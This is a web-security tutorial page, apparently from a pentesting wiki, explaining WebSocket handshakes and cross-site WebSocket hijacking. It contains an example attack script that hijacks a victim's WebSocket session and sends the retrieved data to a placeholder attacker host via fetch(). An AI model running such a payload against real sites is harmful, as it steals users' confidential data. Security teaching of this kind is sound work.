# Cross-site WebSocket hijacking \(CSWSH\)

Most of the information of this page is from **Portswiggers WebSockets tutorials \(main page:** [**https://portswigger.net/web-security/websockets\#intercepting-and-modifying-websocket-messages**](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)**\)**

## What are WebSockets

WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.  
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.

## How are WebSocket connections established?

WebSocket connections are normally created using client-side JavaScript like the following:

```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```

The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

If the server accepts the connection, it returns a WebSocket handshake response like the following:

```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.

**Note**

Several **features** of the WebSocket **handshake** messages are worth noting:

* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** \(_It's not a CSRF token_\).

## Cross-site WebSocket hijacking \(CSWSH\)

Also known as _cross-origin WebSocket hijacking_.  
**It is a** [**Cross-Site Request Forgery \(CSRF\)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**

It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.  
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.

Example of the attack:

```javascript
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

## Other vulnerabilities

As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities**:

  


